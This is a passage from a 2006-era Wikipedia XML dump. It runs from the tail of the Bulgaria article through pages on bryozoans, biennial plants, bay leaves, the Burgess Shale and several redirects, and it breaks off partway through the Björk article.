* [http://www.mfa.government.bg/index.php?newlang=eng Ministry of Foreign Affairs of Bulgaria]
* [http://www.mod.bg/en/index.html Ministry of Defense of Bulgaria]
* [http://www.bnr.bg/RadioBulgaria/Emission_English/ National Radio] - Official Radio Site

==English language Bulgarian media==
* [http://www.bta.bg/site/en/indexe.shtml Bulgarian News Agency]
* [http://www.questbulgaria.com Quest Bulgaria Magazine (monthly)] 
* [http://www.bnr.bg/en/ Radio Bulgaria – the world service of the Bulgarian National Radio]
* [http://news.dnevnik.bg Dnevnik]
* [http://www.focus-fen.net Focus English News] 
* [http://novinite.com/ Sofia News Agency] 
* [http://www.standartnews.com Standart (daily)]
* [http://www.sofiaecho.com The Sofia Echo (weekly)]

===Other===
*[http://www.eurofolk.com/en/ Bulgarian Folklore (Eurofolk)]
*[http://www.guide-bulgaria.com Guide to Bulgarian cities, villages, resorts and regions]
*[http://www.bulgarian-villa.com Bulgarian Building Projects]
*[http://get.info.bg Bulgaria Info Site - regions, maps, FAQ]
*[http://www.kirildouhalov.net Art, history and music of Bulgaria]
*[http://www.surva.org  The Surva International Festival of the Masquerade Games in city of Pernik]
*[http://www.picturesofbulgaria.com Pictures of Bulgaria]
*[http://www.pbase.com/ngruev/bulgaria/ More Pictures of Bulgaria]
*[http://www.greatestcities.com/Europe/Bulgaria.html Map, Info and Pictures of Bulgaria and Cities]
*[http://www.balcanica.org/history/maps.html Historical maps of Bulgaria]
*[http://www.bulgarianmonastery.com Bulgarian Monasteries]
*[http://www.blackseaestates.net/DesktopDefault.aspx?tabindex=5&amp;tabid=12, Picture Gallery of Bulgaria]
*[http://www.bulgarianfinearts.com Paintings by Bulgarian authors]
*[http://www.freeworldmaps.net/europe/bulgaria/map.html Physical map of Bulgaria]
*[http://www.worldwide-tax.com/bulgaria/indexbulgaria.asp Bulgaria economy and business indicators] Bulgaria key Data on Taxes and Income Tax.
*[http://www.eurominority.org/version/fra/projects-shop-nation-big.asp Bulgarians on Eurominority Map]
*[http://www.cadip.org/volunteer-in-bulgaria.htm Volunteer in Bulgaria]

{{EU_countries_and_candidates}}
{{Europe}}

----

[[Volga Bulgaria]] is also a historic state that existed in 10-14th centuries around the confluence of [[Volga River|Volga]] and [[Kama River|Kama]].

&lt;!-- The below are interlanguage links. --&gt;

[[Category:Bulgaria| ]]

[[ar:بلغاريا]]
[[an:Bulgaria]]
[[roa-rup:Vurgarii]]
[[ast:Bulgaria]]
[[bg:България]]
[[zh-min-nan:Bulgariya]]
[[be:Баўгарыя]]
[[bn:বুলগেরিয়া]]
[[bs:Bugarska]]
[[ca:Bulgària]]
[[cv:Болгари]]
[[cs:Bulharsko]]
[[cy:Bwlgaria]]
[[da:Bulgarien]]
[[de:Bulgarien]]
[[et:Bulgaaria]]
[[el:Βουλγαρία]]
[[es:Bulgaria]]
[[eo:Bulgario]]
[[eu:Bulgaria]]
[[fa:بلغارستان]]
[[fr:Bulgarie]]
[[fy:Bulgarije]]
[[gd:Bulgàiria]]
[[gl:Bulgaria - България]]
[[ko:불가리아]]
[[hi:बुल्गारिया]]
[[hr:Bugarska]]
[[io:Bulgaria]]
[[id:Bulgaria]]
[[is:Búlgaría]]
[[it:Bulgaria]]
[[he:בולגריה]]
[[ka:ბულგარეთი]]
[[kw:Bulgari]]
[[la:Bulgaria]]
[[lv:Bulgārija]]
[[lt:Bulgarija]]
[[li:Bölgarieë]]
[[hu:Bulgária]]
[[mk:Бугарија]]
[[mt:Bulgarija]]
[[ms:Bulgaria]]
[[na:Bulgaria]]
[[nl:Bulgarije]]
[[nds:Bulgarien]]
[[ja:ブルガリア]]
[[no:Bulgaria]]
[[nn:Bulgaria]]
[[oc:Bulgaria]]
[[pl:Bułgaria]]
[[pt:Bulgária]]
[[ro:Bulgaria]]
[[ru:Болгария]]
[[se:Bulgária]]
[[sa:बुल्गारिया]]
[[sq:Bullgaria]]
[[scn:Bulgarìa]]
[[simple:Bulgaria]]
[[sk:Bulharsko]]
[[sl:Bolgarija]]
[[sr:Бугарска]]
[[fi:Bulgaria]]
[[sv:Bulgarien]]
[[tl:Bulgarya]]
[[th:ประเทศบัลแกเรีย]]
[[tr:Bulgaristan]]
[[uk:Болгарія]]
[[wa:Bulgåreye]]
[[yi:בולגאריע]]
[[zh:保加利亚]]
[[fiu-vro:Bulgaaria]]</text>
    </revision>
  </page>
  <page>
    <title>Bryozoa</title>
    <id>3416</id>
    <revision>
      <id>41823817</id>
      <timestamp>2006-03-01T23:54:44Z</timestamp>
      <contributor>
        <username>Gdr</username>
        <id>55814</id>
      </contributor>
      <comment>use Haeckel picture in taxobox to show the variety of forms, but keep old picture</comment>
      <text xml:space="preserve">{{Taxobox | color = pink
| name = Bryozoa
| image = Haeckel Bryozoa.jpg
| image_width = 240px
| image_caption = &quot;Bryozoa&quot;, from [[Ernst Haeckel]]'s ''Artforms of Nature'', 1904
| regnum = [[Animal]]ia
| superphylum = [[Lophotrochozoa]]
| phylum = '''Bryozoa'''
| subdivision_ranks = Classes
| subdivision = [[Stenolaemata]]&lt;br/&gt;[[Gymnolaemata]]&lt;br/&gt;[[Phylactlaemata]]
}}

'''Bryozoans''' are tiny colonial animals that generally build stony [[skeleton]]s of [[calcium carbonate]], superficially similar to [[coral]]. They are also known as '''moss animals''' or '''sea mats'''. They generally prefer warm, tropical waters but are known to occur worldwide. There are about 5,000 living [[species]], with several times that number of fossil forms known. 

Most species of Bryozoan live in marine environments, though there are about 50 species which inhabit freshwater. In their aquatic habitats, bryozoans may be found on all types of hard substrates: [[sand]] grains, rocks, shells, [[wood]], blades of [[kelp]], pipes and ships may be heavily encrusted with bryozoans. Some bryozoan colonies, however, do not grow on solid substrates, but form colonies on [[sediment]]. While some species have been found at depths of 8,200 meters, most bryozoans inhabit much shallower water. Most bryozoans are sessile and immobile, but a few colonies are able to creep about, and a few species of non-colonial bryozoans live and move about in the spaces between sand grains. One remarkable species makes its living while floating in the [[Antarctic]] (Great Southern) Ocean. Several Bryozoan species can be found in the Mid West Section of the United States.  Especially in Ohio, Indiana, and Kentucky which used to be a part of a large ocean.

Bryozoans are also colony-forming animals. A few to many millions of individuals may form one colony. The colonies range from millimeters to meters in size, but the individuals that make up the colonies are tiny, usually less than a millimeter long. In each colony, different individuals assume different functions. Some individuals gather up the food for the colony (autozooids), others depend on them (heterozooids). Some individuals are devoted to strengthening the colony (kenozooids), and still others to cleaning the colony (vibracula). There is only a single known solitary species, ''Monobryozoon ambulans'', which does not form colonies.

==Anatomy==
[[Image:Costazia_costazi.jpg|thumb|240px|''Costazia costazi'', a [[coralline]] bryozoan]]

Bryozoans skeletons grow in a variety of shapes and patterns: mound-shaped, lacy fans, branching twigs, and even cork screw-shaped. Their [[skeleton]]s have numerous tiny openings, each of which is the home of a minute animal called a ''zooid''. They also have a [[body cavity| coelomate]] body with a &quot;blind-ended&quot; gut. This &quot;gut&quot; is a pouch-like intestinal sack where the same opening forms both the [[mouth]] and [[anus]]. They feed with a specialized, [[cilia]]ted structure called a [[lophophore]] that is attached to [[tentacle]]s surrounding the mouth. Their diet consists of small microorganisms, including [[diatom]]s and other unicellular [[algae]]. In turn, bryozoans are preyed on by grazing organisms such as [[sea urchin]]s and [[fish]]. Bryozoans do not have any defined respiratory, circulatory or [[nerve]] systems due to their small size. However, they do have a hydrostatic skeletal system.

The tentacles of the bryozoans are ciliated, and the beating of the [[cilia]] creates a powerful current of water which drives water together with entrained food particles (mainly phytoplankton) towards the mouth.  The gut is U-shaped, ending in the anus which opens outside the [[lophophore]].  Gut and lophophore are the principal components of the [[polypide]]. Cyclical degeneration and regeneration of the polypide is characteristic of marine bryozoans.  After the final polypide degeneration, the skeletal aperture of the feeding zooid may become sealed by the secretion of a terminal [[diaphragm]].  In many bryozoans only the zooids within a few generations of the growing edge are in an actively feeding state; older, more proximal zooids (e.g. in the interiors of bushy colonies) are usually dormant.

Because of their small size, Bryozoans have no need of a [[blood]] system. Gaseous exchange occurs across the entire surface of the body, but particularly through the tentacles of the lophophore. 

Bryozoans can reproduce both sexually and asexually. All Bryozoans, as far as is known, are [[hermaphrodite]] (meaning they are both male and female). [[Asexual reproduction]] occurs by budding off new zooids as the colony grows, and is the main way by which a colony expands in size. If a piece of a bryozoan colony breaks off, the piece can continue to grow and will form a new colony. A colony formed this way is composed entirely of [[Cloning|clones]] (genetically identical individuals) of the first animal, which is called the ''ancestrula''. 

One species of bryozoan, ''Bugula neritina'', is of current interest as a source of [[cytotoxicity|cytotoxic]] chemicals, [[bryostatin]]s, under clinical investigation as anti-cancer agents.

==Fossils==
[[Image:Bryozoa 8679.jpg|thumb|Fossilized Bryozoa, Ordovician limestone, Batavia, Ohio]]

[[Fossil]] bryozoans are found in rocks beginning in the [[Ordovician]]. During the [[Mississippian]] (354 to 323 million years ago) bryozoans were so common that their broken skeletons form entire [[limestone]] beds. The Bryozoa are one of the few classical phyla from which no members have been found in the [[Cambrian]]. The oldest known fossil bryozoans, including representatives of both major marine groups, the [[Stenolaemata]] (tubular bryozoans) and [[Gymnolaemata]] (boxlike bryozoans), appear in the Early [[Ordovician]]. It is plausible that the Bryozoa existed in the [[Cambrian]] but were soft-bodied or not preserved for some other reason; perhaps they evolved from a [[phoronid]]-like ancestor at about this time.

==Classification==
The Bryozoans were formerly considered to contain two subgroups: the [[Ectoprocta]] and the [[Entoprocta]], based on the similar bodyplans and mode of life of these two groups. (Some researchers also included the [[Cycliophora]], which are thought to be closely related to the Entoprocta.) However, the Ectoprocta are coelemate (possessing a [[body cavity]]) and their embryos undergo [[radial cleavage]] and the Entoprocta are acoelemate and undergo [[spiral cleavage]]. Molecular studies are ambiguous about the exact position of the Entoprocta, but do not support a close relationship with the Ectoprocta. For these reasons, the Entoprocta are now considered a phylum of their own.{{ref|Valentine}} The removal of the 150 species of Entoprocta leaves Bryozoa synonymous with Ectoprocta; some authors have adopted the latter name for the group, but the majority continue to use the former.

==References==
* {{note|Valentine}} {{cite book|author = James W. Valentine|title = On the origins of phyla|year = 2004|publisher = University of Chicago Press}}

==External links==
*[http://www.sms.si.edu/irlspec/IntroBryozoa.htm Bryozoan Introduction]
*[http://www.earthlife.net/inverts/bryozoa.html The Phylum Ectoprocta (Bryozoa)]
*[http://www.civgeo.rmit.edu.au/bryozoa/indexes.html Index to Bryozoa] at RMIT University, Australia
*[http://species.wikipedia.org/wiki/Bryozoa Phylum Bryozoa ] at Wikispecies
*[http://www.bio.umass.edu/biology/conn.river/bryozoa.html Bryozoans] in the [[Connecticut River]]
*[http://www.civgeo.rmit.edu.au/bryozoa/links.html Other Bryozoan WWW Resources]


[[Category:Bryozoa]]
[[Category:Fossils]]

[[de:Moostierchen]]
[[es:Bryozoa]]
[[pl:Mszywioły]]</text>
    </revision>
  </page>
  <page>
    <title>Biennial plant</title>
    <id>3417</id>
    <revision>
      <id>41362397</id>
      <timestamp>2006-02-26T21:32:55Z</timestamp>
      <contributor>
        <username>Fastfission</username>
        <id>42525</id>
      </contributor>
      <comment>add an image</comment>
      <text xml:space="preserve">[[Image:Parsley Curled.jpg|right|thumb|200px|[[Parsley]] is an example of a biennial plant.]]

A '''Biennial plant''' is a [[plant]] that takes between twelve and twenty-four months to complete its [[Biological life cycle|lifecycle]]. In the first year the plant grows leaves and stems (vegetative structures) and then it enters a period of dormancy over the colder months. The next spring/summer it produces [[fruit]], [[flower]]s and [[seed]]s, and then dies. 

Under extreme climatic conditions a biennial plant may 'bolt' through the separate stages of its lifecycle in a very short period of time (eg. 3 or 4 months instead of 2 years). This is quite common in vegetable or flower seedlings which were exposed to cold conditions before they were planted in the ground. This behaviour leads to many normally biennial plants being treated as [[annual plant|annuals]] in some areas.

From a gardener's persepective, a plant's status as annual or perennial often varies based on location.  For example, a perennial plant in a warm place might easily be grown as an annual plant in somewhere colder. This is because climatic conditions play a large role in determining the length of a plant's life-cycle. If a normally biennial plant is grown in extremely harsh conditions it is likely to be treated as an annual because it will not survive the winter cold. Conversely, an annual grown under extremely favourable conditions may have such a highly successful propagation rate that it gives the appearance of being bi- or perennial.

Examples of biennial plants are [[parsley]], [[silverbeet]], [[Sweet William]], [[Colic Weed]], and [[carrots]].

==External links==
* [http://www.orst.edu/extension/mg/botany/cycles.html Plant life cycles]

[[Category:Plants]]
[[Category: gardening]]

[[de:Zweijährige Pflanze]]
[[is:Tvíær jurt]]
[[ta:ஈராண்டுத் தாவரம்]]</text>
    </revision>
  </page>
  <page>
    <title>Basil (plant)</title>
    <id>3418</id>
    <revision>
      <id>15901753</id>
      <timestamp>2004-01-22T13:15:55Z</timestamp>
      <contributor>
        <username>Andre Engels</username>
        <id>300</id>
      </contributor>
      <comment>merged into [[Basil]]</comment>
      <text xml:space="preserve">#REDIRECT [[Basil]]</text>
    </revision>
  </page>
  <page>
    <title>Bay leaf</title>
    <id>3419</id>
    <revision>
      <id>30433972</id>
      <timestamp>2005-12-07T04:28:02Z</timestamp>
      <contributor>
        <username>Badagnani</username>
        <id>308437</id>
      </contributor>
      <comment>add info</comment>
      <text xml:space="preserve">:''For the Pokémon character, see [[Bayleef]].''

[[Image:BayLeaf.JPG|thumb|right|bay leaves]]
'''Bay leaf''' (plural '''bay leaves''') are the aromatic leaves of several [[species]] of the Laurel family ([[Lauraceae]]). Bay leaves are used in cooking for their distinctive flavor and fragrance, and may be used fresh or dried.

*[[Mediterranean]] bay leaf
:The leaf of the [[bay laurel]] or &quot;true laurel&quot;, ''Laurus nobilis'', is a culinary [[herb]] often used to flavor soups, stews, and braises and pâtés in Mediterranean Cuisine.

*California bay leaf
:The leaf of the California bay tree (''[[Umbellularia californica]]''), also known as 'California laurel', 'Oregon myrtle', and 'pepperwood', is similar to the Mediterranean bay, but has a stronger flavor.

*&quot;[[India]]n bay leaf&quot; (also called ''tej pat'', ''tejpat'', or ''tejpata'')
:The leaf of the ''[[Malabathrum|Cinnamomum tejpata]]'' (malabathrum) tree, similar in fragrance and taste to [[cinnamon]] bark, but milder. In appearance, it is similar to the other bay leaves, but is culinarily quite different, having an aroma and flavor more similar to that of [[Cassia]].  It is inaccurately called a bay leaf as it is in a different genus (though the same family) as the bay laurel.

Bay leaves have been said to be poisonous, but this has never been proven.

[[Category:Herbs]]
[[pl:Li&amp;#347;cie bobkowe]]
[[de:Bay]]</text>
    </revision>
  </page>
  <page>
    <title>Beverage</title>
    <id>3420</id>
    <revision>
      <id>15901755</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Drink]]
</text>
    </revision>
  </page>
  <page>
    <title>Basis</title>
    <id>3421</id>
    <revision>
      <id>38774127</id>
      <timestamp>2006-02-08T15:48:09Z</timestamp>
      <contributor>
        <username>Keenan Pepper</username>
        <id>124371</id>
      </contributor>
      <comment>crystallographic meaning</comment>
      <text xml:space="preserve">{{wiktionarypar|basis}}
In [[mathematics]], a '''basis''' or '''set of generators''' is a collection of objects that can be systematically combined to produce a larger collection of objects.

See:
* [[Basis (linear algebra)]]
* [[Basis (topology)]]
* [[Greedoid]] (basis as a maximal feasible set)
* [[Basis (options)]]
* In [[economics]] or [[accounting]], a basis is the cost or value of an asset as adjusted for tax purposes.
* In [[crystallography]], a basis is a set of atomic positions measured from a lattice point. See [[crystal structure]].

{{disambig}}

[[de:Basis]]
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    </revision>
  </page>
  <page>
    <title>Burgess Shale</title>
    <id>3422</id>
    <revision>
      <id>41048778</id>
      <timestamp>2006-02-24T18:50:18Z</timestamp>
      <contributor>
        <username>Laurence Boyce</username>
        <id>432661</id>
      </contributor>
      <minor />
      <comment>/* History and significance */</comment>
      <text xml:space="preserve">The '''Burgess Shale''' (named after [[Mount Burgess]], close to where the Shale was found) is a black [[shale]] exposure found high up in the [[Canadian Rockies]] in [[Yoho National Park]] near the town of [[Field, British Columbia]]. [[Fossil]]s were found in the Burgess Shale by [[Charles Doolittle Walcott]] in [[1909]]. Walcott returned in the following years to collect additional specimens. The majority of the fossils collected were unique to the site, although some common Middle [[Cambrian]] [[trilobites]] were also found. The fossils were of substantial interest because they included appendages and soft parts that are rarely preserved.

==History and significance==

The significance of the finds was not realised at the time of discovery. A reinvestigation of the fossils in the [[1980s]] by [[Harry Blackmore Whittington]], [[Derek Briggs]], and [[Simon Conway Morris]] of the [[University of Cambridge]], however, revealed that the fauna represented were much more diverse and unusual than Walcott had recognized. Indeed, many of the animals present had [[body form|bizarre anatomical features]] and only the sketchiest resemblance to other known animals. Examples include ''[[Opabinia]]'' with five eyes and a snout like a vacuum cleaner; ''[[Aysheaia]]'' which bears an extraordinary resemblance to a minor modern phylum—the [[Onychophora]]; ''[[Nectocaris]]'' which is apparently either a [[crustacean]] with fins or a [[vertebrate]] with a shell; and ''[[Hallucigenia]]'' which was originally reconstructed as walking on bilaterally symmetrical spines.  Conway Morris now reconstructs it as another [[onychophora|onychophoran]], with the spines on its back. Several poorly understood fossils were found to be body parts of a predatory form known as ''[[Anomalocaris]]''. More recent (late 1990s) work by Derek Briggs and [[Richard Fortey]] has placed many of the &quot;peculiar&quot; Burgess Shale fossils within the [[arthropod]]a, but many animals such as ''[[Amiskwia]]'' remain enigmatic.

A popular account of the 1980s analysis of the Burgess Shale is given in ''[[Wonderful Life (book)|Wonderful Life]]'' by [[Stephen Jay Gould]]. Gould suggests that the extraordinary diversity of the fossils indicate that life forms at the time were much more diverse than those that survive today and that many of the unique lineages were evolutionary experiments that became extinct. He suggests that this interpretation supports his hypothesis of [[evolution]] by [[punctuated equilibrium]]. However the widely accepted reclassifiction by Briggs and Fortey contradicts this account and both those authors have criticised Gould for what they believe is a hasty and incomplete analysis used to support Goulds' own ideas and which has since entered the popular public conciousness.

The diversity and exotic nature of the Burgess fauna has caused a great deal of controversy in [[paleontology]] with regard to the reasons for and nature of what has come to be called the [[Cambrian Explosion]].

Further investigations showed that the Burgess Shale extends for many miles in isolated outcrops and the various faunas are preserved in different places.  The deposits appear to represent small areas of muddy [[ocean]] bottom that -- from time to time -- slid down the face of a [[limestone]] cliff, carrying their fauna and anything unfortunate enough to be swimming by into [[oxygen]]-poor waters in the depths. Six distinct faunal zones have been identified in the Burgess Shale.  Now that scientists know what to look for, similar deposits have been identified elsewhere with similar faunas.  The most important similar deposits are even older [[turbide flow deposit]]s created in much the same way as the Burgess shales in [[Yunnan]] Province, [[China]]. These [[Maotianshan shales]] contain fauna quite similar to the Burgess.

Due to its location within Yoho National Park, the shale is part of a [[UNESCO]] [[World Heritage Site]], specifically, the [[Canadian Rocky Mountain Parks]]. Subsequent exploration has found exposures of the shale over a front of several dozen kilometers and has identified at least six fossiliferous [[lagerstätten]] within the formation.

==Partial species list==

===Species assigned to a group of extant taxa===

*''[[Thaumaptilon]]'' (a type of [[sea pen]])
*''[[Aysheaia]]'' (phylum [[Onychophora]])
*''[[Sidneyia]]'' (arthropod)
*''[[Pikaia]]'' (phylum Chordata)
*[[Canadia]] (annelid)
*[[Choia]] (sponge)
*''[[Ottoia]]'' ([[priapulid]] worm)
*[[Canadapsis]] (arthropod)
*[[Perspicaris]] (arthropod)
*[[Leanchoilia]] (arthropod)
*''[[Hallucigenia]]'' (phylum [[Onychophora]])
*''[[Ctenorhabdotus capulus|Ctenorhabdotus]]'' ([[Ctenophora]])

===Species assigned to a group of extinct taxa===
*[[Haplophrentis]] (phylum [[Hyolitha]])
*''[[Marella]]'' (arthropod)
*[[Olenoides]] (trilobite)
*[[Naraoia]] (trilobite)

===Species of uncertain classification===
*''[[Amiskwia]]''
*''[[Anomalocaris]]''
*''[[Dinomischus]]''
*''[[Nectocaris]]''
*''[[Odontogriphus]]''
*''[[Opabinia]]''
*''[[Wiwaxia]]''

==Further reading==

*Simon Conway Morris, ''The Crucible of Creation: The Burgess Shale and the Rise of Animals'', Oxford University Press, Oxford, 1998 (paperback 1999) ISBN 0198501978 (hbk), ISBN 0192862022 (pbk)
*Richard Fortey, ''Trilobite: Eyewitness to Evolution'', Flamingo, 2001. ISBN 0006551386
*Stephen Jay Gould, ''Wonderful Life: Burgess Shale and the Nature of History'', Vintage, 2000. ISBN 0099273454

==External links and resources==

*[[Body form]]
*[http://www.burgess-shale.bc.ca/ The Burgess Shale Geoscience Foundation] - official web site
*[http://www.washington.edu/burkemuseum/bshale/index.html The Burgess Shale - Evolution's Big Bang] - Burke Museum of Natural History and Culture web pages resourcing an exhibition devoted to the Burgess Shale
*[http://tabla.geo.ucalgary.ca/%7Emacrae/Burgess_Shale Burgess Shale Fossils]
*[http://www.bbc.co.uk/radio4/history/inourtime/inourtime_20050217.shtml The Cambrian Explosion] - BBC Radio 4 broadcast, ''In Our Time'', [[17 February]] [[2005]], hosted by Melvyn Bragg (includes links to resource pages)

[[Category:Yoho National Park]]
[[Category:Geography of British Columbia]]
[[Category:Paleontology]]
[[Category:Cambrian]]

[[de:Burgess-Schiefer]]
[[es:Burgess Shale]]
[[fr:Schistes de Burgess]]
[[ja:&amp;#12496;&amp;#12540;&amp;#12472;&amp;#12455;&amp;#12473;&amp;#38913;&amp;#23721;]]
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    </revision>
  </page>
  <page>
    <title>BBC/Radio 1</title>
    <id>3424</id>
    <revision>
      <id>15901758</id>
      <timestamp>2002-08-23T02:44:30Z</timestamp>
      <contributor>
        <username>Andre Engels</username>
        <id>300</id>
      </contributor>
      <minor />
      <comment>removed 'see also' from redirect page</comment>
      <text xml:space="preserve">#REDIRECT [[BBC Radio 1]]</text>
    </revision>
  </page>
  <page>
    <title>BBC/Online</title>
    <id>3425</id>
    <revision>
      <id>15901759</id>
      <timestamp>2002-12-26T20:29:33Z</timestamp>
      <contributor>
        <username>Aldie</username>
        <id>901</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[BBCi]]</comment>
      <text xml:space="preserve">#REDIRECT [[BBCi]]</text>
    </revision>
  </page>
  <page>
    <title>Björk</title>
    <id>3426</id>
    <revision>
      <id>41836494</id>
      <timestamp>2006-03-02T01:36:36Z</timestamp>
      <contributor>
        <ip>129.105.121.190</ip>
      </contributor>
      <comment>/* Family Tree/Greatest Hits */</comment>
      <text xml:space="preserve">{{Infobox_band
| band_name         = Björk
| image             = [[Image:Bjork Hurricane.jpg|250px]]
| caption           = 
| years_active      = [[1977]]&amp;mdash;present
| origin            = [[Reykjavík]], [[Iceland]]
| music_genre       = [[Pop music|Pop]], [[trip-hop]], [[alternative rock]], [[jazz]], [[ambient music]], [[electronica]], [[folk music|folk]]
| record_label      = One Little Indian, Elektra
}}

'''Björk Guðmundsdóttir''' {{IPA2|'pjœr̥k 'kvʏðmʏnsto&amp;#650;ht&amp;#618;r}}, (born [[November 21]], [[1965]] in [[Reykjavík]], [[Iceland]]) is an [[Iceland]]ic [[singer/songwriter]] and [[composer]], (formerly the lead singer with [[The Sugarcubes]]) with a great expressive range and an interest in many kinds of music including [[popular music|popular]], [[trip-hop]], [[alternative rock]], [[jazz]], [[ambient music]], [[electronica]], [[folk music|folk]], and [[European classical music|classical music]].

== Early career ==
Björk's musical career began at the age of eleven, when she began studying classical [[piano]] in elementary school. One of her instructors submitted a recording of Björk singing [[Tina Charles]]' song &quot;I Love to Love&quot; to Radio One, an Iceland radio station. The recording was aired nationally; upon hearing it, a representative of the record label Fálkinn contacted Björk with a record contract offer. With the help of her stepfather, who played guitar, she recorded her eponymous debut in [[1977]]. This album featured several Icelandic children's songs, and covers of popular songs such as [[the Beatles]]' ''[[The Fool on the Hill]]'', sung in [[Icelandic language|Icelandic]]. It became a smash hit in Iceland, though it was virtually unknown elsewhere.

[[Punk rock|Punk]] music began to have an influence on Björk; at the age of fourteen, she formed the all-girl punk band Spit and Snot, shortly followed by a [[jazz fusion]] group called Exodus in [[1979]]. In 1980, she graduated from music school at the age of fifteen, and in 1981, she and Exodus bassist Jakob Magnússon formed another band, [[Tappi Tíkarrass]] (which means &quot;Cork the Bitch's Ass&quot; in Icelandic), and released an extended single, [[Bítið Fast í Vítið]] in the same year. Their album [[Miranda (Tappi Tíkarrass)|Miranda]] was released in 1983.

Björk next collaborated with [[Einar Örn Benediktsson]] and [[Einar Melax]] from [[Purrkur Pillnikk]], and [[Guðlaugur Óttarsson]], [[Sigtryggur Baldursson]] and [[Birgir Mogensen]] from Þeyr. After writing songs and rehearsing for two weeks, they (under the name [[KUKL]] which means &quot;sorcery&quot; in Icelandic) found they worked well together, and decided to continue, developing a sound that some have described as resembling [[Goth music]]. Björk began to show indications of what would become her trademark singing style, punctuated with howls and shrieks.

KUKL toured Iceland with [[United Kingdom|UK]] [[anarchist]] band [[Crass]], and later visited the UK in a series of performances with [[Flux of Pink Indians]]. The band produced two albums as a result of these collaborations: ''The Eye'' in 1984, and ''Holidays in Europe'' in 1986, both on [[Crass Records]]. In the summer of 1986, several members of KUKL went on to form a band called [[Pukl]] but soon changed the name to The Sugarcubes.

== Popularity ==
&lt;!--[[Image:Björk performing at the Olympics in Athens.jpg|thumb|200px|right|Björk singing during the [[2004 Summer Olympics opening ceremony]] in [[Athens]].]]--&gt;

=== The Sugarcubes ===
The [[Sugarcubes]]' first single, &quot;Ammæli&quot; (or &quot;Birthday&quot; in [[English language|English]]), became a huge hit in the [[UK]]. They gained a significant [[cult following]] in the [[United States|US]] and [[UK]], and calls from record companies began coming in. Eventually the band signed with [[One Little Indian]] in the UK and with [[Elektra Records]] in the [[United States]], and recorded their first album, ''[[Life's Too Good]]'', in [[1988 in music|1988]].  The album propelled them into international stardom &amp;mdash; the first Icelandic rock band to achieve such popularity. While with the Sugarcubes, Björk participated in a number of side projects. She recorded ''[[Gling-Gló]]'', a collection of popular jazz and original work, with the [[bebop]] group [[Trio Guðmundar Ingólfssonar]], released in Iceland. Björk also contributed vocals to [[808 State]]'s album ''Ex:El'', a collaboration which cultivated her interest in [[house music]].

=== Solo career / Debut ===
Tensions steadily mounted between Björk and [[Einar Örn]], however, and by [[1992]] the Sugarcubes dissolved. Björk moved to London and began thinking about a solo career; to this end, she began working with producer [[Nellee Hooper]], who had produced for [[Massive Attack]], among others. Their partnership produced Björk's first international solo hit, &quot;Human Behaviour&quot;. Her solo debut album, simply entitled ''[[Debut (album)|Debut]]'', was released in June of [[1993 in music|1993]] to positive reviews; it was named album of the year by [[NME]], and eventually went [[platinum album|platinum]] in the United States. ''Debut'' was a mix of songs Björk had written since she was a teenager as well as newer lyrical collaborations with Hooper.

The success of ''Debut'' enabled her to collaborate with other artists on one-off tracks; she worked with [[David Arnold]] on &quot;Play Dead&quot;, the theme to the [[1993 in film|1993]] film ''[[The Young Americans]]'' (which appeared as a bonus track on a re-release of ''Debut''), two songs on [[Tricky]]'s ''Nearly God'' project, also appeared on a track on the [[1997]] album ''Not For Threes'' by [[Plaid (band)|Plaid]], which was released on the cult [[Warp Records]] label, and even wrote the song, &quot;[[Bedtime Story]]&quot;, for [[Madonna (entertainer)|Madonna]].

=== Post ===
Björk returned to the studio during 1994 to work on her next solo album with Nellee Hooper, [[Tricky]], [[Graham Massey]] of [[808 State]], and electronic music producer [[Howard Bernstein|Howie B]]. The album, ''Post'', contained songs based on Björk's relationships and songs about love (one of her favorite subjects), as well as some angry and confrontational material.  Like &quot;Debut,&quot; it was a collection partly made up of songs she had written in past years.

{| align=&quot;right&quot; 
|-
! style=&quot;background:#ffdead;&quot;|Music Samples
|-
|[[Media:Crying.ogg|&quot;Crying&quot;]] &lt;small&gt;from [[Debut (album)|Debut]] ([[Image:Crying.ogg|info]])&lt;/small&gt;
|-
|[[Media:Isobel.ogg|&quot;Isobel&quot;]] &lt;small&gt;from [[Post (album)|Post]] ([[Image:Isobel.ogg|info]])&lt;/small&gt;
|-
|[[Media:Hunter.ogg|&quot;Hunter&quot;]] &lt;small&gt;from [[Homogenic]] ([[Image:Hunter.ogg|info]])&lt;/small&gt;
|-
|[[Media:Unison.ogg|&quot;Unison&quot;]] &lt;small&gt;from [[Vespertine]] ([[Image:Unison.ogg|info]])&lt;/small&gt;
|-
|}She wrote the song &quot;Bedtime Story&quot; for [[Madonna (entertainer)|Madonna]]'s [[1994]] album ''[[Bedtime Stories (Madonna)|Bedtime Stories]]'' (parts of which Björk reused in her song &quot;Sweet Intuition&quot;), and performed on [[MTV Unplugged]] during this time. By 1995, the new album ''[[Post (album)|Post]]'' was ready; it was released in June, reaching number two on the UK's album charts, and also went platinum in the United States. January of 1997 saw the release of ''[[Telegram (album)|Telegram]]'', an album of uncharacteristic remixes of songs from ''Post''.

=== Homogenic ===
Later that year, the chaotic, electronic album ''[[Homogenic]]'' was released and marked a dramatic shift from her earlier &quot;pixie&quot; image cultivated on the &quot;Debut&quot; and &quot;Post&quot; albums. Björk worked with producers [[Mark Bell (LFO)|Mark Bell]] of [[LFO (British group)|LFO]] and [[Howie B]] on the album, as well as [[Eumir Deodato]]; numerous remixes followed. ''Homogenic'' was her first conceptually self-contained album and is regarded as one of Björk's most experimental and extroverted works to date, with enormous beats that reflect the landscape of [[Iceland]], most notably in the song &quot;[[Jóga]]&quot;, which fuses lush strings with rocky electronic crunches.  The emotionally-charged album contains a string of memorable music videos, several of which received airplay on American [[MTV]], especially the epic &quot;[[Bachelorette (song)|Bachelorette]]&quot; and &quot;[[All is Full of Love]]&quot;, which became an alt-rock hit in [[1999]].  The album eventually reached gold status in the States in [[2001]].

=== Vespertine ===
In [[2001 in music|2001]] the album ''[[Vespertine]]'' was released. This album saw Björk creating an introverted, internal, personal world of microbeats and tiny rhythms. The album featured chamber orchestras, choirs, very hushed vocals and personal, vulnerable themes. She collaborated with experimental sound manipulators [[Matmos]], a [[DJ]] from Denmark [[Thomas Knak]], and the experimental harpist [[Zeena Parkins]] for the album.  Lyrical sources included the [[United States|American]] poet [[E. E. Cummings]] and the American independent filmmaker [[Harmony Korine]].

